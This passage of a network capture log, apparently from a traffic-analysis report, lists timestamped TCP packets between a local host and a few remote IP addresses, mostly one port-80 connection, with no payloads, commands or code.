Nov 23, 2024 18:22:36.455522060 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.455570936 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.455602884 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.455615997 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.459979057 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.460098028 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.460176945 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.464425087 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.464533091 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.464589119 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.490137100 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.490185976 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.490233898 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.492250919 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.492295027 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.492302895 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.492367983 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.496659994 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.496800900 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.496857882 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.501036882 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.501144886 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.501346111 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.505479097 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.505594015 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.505650997 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.509912968 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.510014057 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.510065079 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.514385939 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.514501095 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.514553070 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.518847942 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.518959045 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.518989086 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.519028902 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.523221016 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.523263931 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.523338079 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.523391962 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.527925968 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.527972937 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.528090000 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.528132915 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.532124043 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.532211065 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.532265902 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.536533117 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.536592960 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.536667109 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.537395954 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.540966988 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.541069031 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.541111946 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.545466900 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.545567989 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.545619011 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.549864054 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.549994946 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.550040960 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.554267883 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.554393053 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.554442883 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.558705091 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.558779001 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.558831930 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.558877945 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.563139915 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.563194036 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.563236952 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.563280106 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.567595959 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.567681074 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.567744017 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.572005033 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.572134018 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.572185040 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.576478004 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.576539993 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.576623917 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.577254057 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.580884933 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.580935955 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.580993891 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.581039906 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.585314989 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.585371017 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.585452080 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.585498095 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.589792967 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.589865923 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.589901924 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.589977026 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.594176054 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.594228983 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.594305992 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.594506979 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.598638058 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.598754883 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.598759890 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.598828077 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.603162050 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.603216887 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.603246927 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.603298903 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.607527971 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.607578993 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.607623100 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.607670069 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.611994982 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.612050056 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.612102985 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.612159967 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.616389990 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.616408110 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.616435051 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.616468906 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.662359953 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.662453890 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.662472963 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.662516117 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.664499044 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.664558887 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.664598942 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.664968967 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.668869972 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.668981075 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.669014931 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.669027090 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.669800997 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:36.670038939 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:36.670574903 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:36.670598030 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:36.671154976 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:36.671160936 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:36.673485994 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.673535109 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.673592091 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.673659086 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.674294949 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:36.674319029 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:36.674952030 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:36.674957037 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:36.676886082 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.676950932 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.676989079 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.677189112 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.680543900 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.680608988 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.680629015 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.680674076 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.684146881 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.684276104 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.684283972 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.684319019 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.736211061 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.736268997 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.736315012 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.736357927 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.738249063 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.738312006 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.738339901 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.738404989 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.741462946 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.741520882 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.741550922 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.741600037 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.744898081 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.744982958 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.745007038 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.745059967 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.748270035 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.748323917 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.748416901 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.748615026 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.750555038 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.750605106 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.750634909 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.750744104 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.752706051 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.752754927 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.752942085 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.753278971 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.754889011 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.754957914 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.755034924 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.755079031 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.757077932 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.757122040 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.757148981 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.757208109 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.759599924 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.759644985 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.759730101 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.759771109 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.761534929 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.761586905 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.761651039 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.761696100 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.763688087 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.763736963 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.763797998 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.763855934 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.765925884 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.765973091 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.766050100 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.766104937 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.768126011 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.768172979 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.768213987 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.768256903 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.770318985 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.770370007 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.770459890 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.770628929 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.772496939 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.772566080 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.772593975 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.772703886 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.774755955 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.774801970 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.774835110 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.774902105 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.776909113 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.776979923 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.776983023 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.777034998 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.779082060 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.779135942 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.779231071 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.779300928 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.781286001 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.781337023 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.781428099 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.781471014 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.783540010 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.783617020 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.783711910 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.783904076 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.786120892 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.786166906 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.786252022 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.786310911 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.788050890 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.788099051 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.788315058 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.788357973 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.790426016 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.790462971 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.790483952 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.790507078 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.792381048 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.792417049 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.792443991 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.792458057 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.794500113 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.794564962 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.794636011 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.794702053 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.796736002 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.796806097 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.796811104 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.796852112 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.799016953 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.799062014 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.799108028 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.801124096 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.801171064 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.801198006 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.801243067 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.803325891 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.803421974 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.803471088 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.805996895 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.806077003 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.806152105 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.806392908 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.808484077 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.808584929 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.808635950 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.810209036 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.810292959 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.810322046 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.810765982 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.812164068 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.812207937 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.812241077 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.812283039 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.814421892 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.814477921 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.814510107 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.814580917 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.816550016 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.816602945 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.816668987 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.816744089 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.818730116 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.818784952 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.818820000 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.818867922 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.821037054 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.821118116 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.821144104 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.821183920 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.821981907 CET	443	49829	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:36.822071075 CET	49829	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:36.823137999 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.823219061 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.823249102 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.823298931 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.823631048 CET	49829	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:36.823654890 CET	443	49829	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:36.824040890 CET	443	49829	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:36.825367928 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.825505018 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.825550079 CET	49829	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:36.825557947 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.825790882 CET	49829	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:36.825840950 CET	443	49829	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:36.827563047 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.827615023 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.827625036 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.827702999 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.829525948 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.829637051 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.829689026 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.831521988 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.831628084 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.831685066 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.833647013 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.833741903 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.833777905 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.833816051 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.835587025 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.835628986 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.835653067 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.835740089 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:36.837502003 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.837605953 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:36.837610960 CET	49822	80	192.168.2.4	185.215.113.16
